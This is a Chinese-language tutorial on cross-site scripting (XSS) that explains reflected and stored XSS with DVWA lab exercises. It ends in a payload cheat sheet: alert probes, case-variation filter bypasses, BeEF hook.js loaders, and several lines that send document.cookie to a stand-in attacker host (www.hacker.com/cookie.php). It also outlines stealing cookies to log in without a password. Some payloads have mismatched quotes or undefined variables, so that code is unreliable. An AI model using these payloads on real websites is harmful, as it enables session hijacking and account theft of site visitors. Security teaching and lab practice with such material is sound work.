一、什麼是XSS?
- XSS(cross site script)
- 指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去,使別的用戶訪問都會執行相應的嵌入代碼,從而盜取用戶資料,利用用戶身份進行某種動作或者對訪問者進行病毒侵害
- 一種攻擊方式
就比如空間的留言,正常情況下,留言板會把用戶留言內容展示出來。一般情況下,留言內容是正常文字,如果留言內容變成XSS腳本,那麼瀏覽器的網頁代碼就會變化,進而瀏覽器解析用戶輸入代碼進而形成攻擊。
二、有哪些危害呢?
- 盜取各類用戶帳號。
例如盜取網頁瀏覽中的cookie值:有時候我們在網頁瀏覽中進行用戶登陸,登錄完畢之後服務器會返回一個cookie值(一個令牌),有了它就證明你是誰,那如果這個信息被盜用時,黑客可以通過它來登陸你的賬戶(document.cookie獲取)
- 控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
- 劫持流量,插入一條
<script>window.location.href="http://www..</script>
就可以自動跳轉網站 - 網站掛馬
- 控制受害者機器向其它網站發起攻擊等等
總之就是過於信任客戶端提交的數據。
三、分類
- 反射型XSS
- 存儲型XSS
- 自動化XSS
1.反射型
(1)原理
- Reflected XSS - 非持久性跨站點腳本攻擊
- 需要訪問特定的鏈接才能實現
- 步驟:①我們把我們的惡意腳本通過url的方式傳給服務器;②服務器不加處理的把腳本反射回訪問者的瀏覽器執行相應的腳本, 觸發漏洞
(2)DVWA實驗
①代碼:低安全級別
②執行腳本
- 正常語句執行結果:
-
漏洞利用
1.彈框警告
<script>alert('world')</script>
2.頁面重定向
<script>alert("請移步到我們的新站");location.href="http://www.baidu.com"</script>
重定向到百度
2.存儲型
(1)原理
- stored XSS - 持久型跨站腳本
- 發生場景:頁面被用戶打開時執行,能夠攻擊所有訪問此頁面的用戶
- 步驟:①用戶發送腳本給服務器②服務器收到後處理(例如把信息放到數據庫)③再次訪問相同頁面時,服務器取出惡意代碼並返回給瀏覽器執行(只要訪問了此頁面的訪客,都會執行這段代碼)
- 用戶只需訪問這個頁面而不需訪問特定的URL
例如留言板當有人在瀏覽內容中插入惡意腳本時,服務器會展示內容給所有訪客,那麼訪客會接收到惡意代碼並執行,進而遭受攻擊。
(2)DVWA實驗
1.彈框警告
語句:
T1
<script>alert('yangge')</script>
只要每次點進這個頁面都會有這個彈框,不是一次性的
2.盜用cookie實現無密碼登陸
1)代碼(構建收集cookie服務器)
2)向靶機植入XSS代碼
3)肉雞訪問植入頁面的代碼
4)查看收集文件,進行利用
附:XSS腳本
彈框警告:可以證明什麼位置存在XSS漏洞。
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
頁面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
頁面重定向
<script>location.href="http://www.baidu.com"</script>
彈框警告並重定向
<script>alert("請移步到我們的新站");location.href="http://www.baidu.com"</script>
訪問惡意代碼
<script src="http://www.xxx.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> #結合BeEF收集用戶的cookie
巧用圖片標籤
<img src="#" alert('xss')>
<img src="http://BeEF_IP:3000/hook.js"></img>
繞開過濾的腳本
大小寫
<ScrIpt>alert('xss')</SCRipt>
收集用戶cookie
打開新窗口並且採用本地cookie訪問目標網頁,打開新窗口並且採用本地cookie訪問目標網頁。
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie";
img.width = 0;
img.height = 0;
</script>
//參考:千峯教育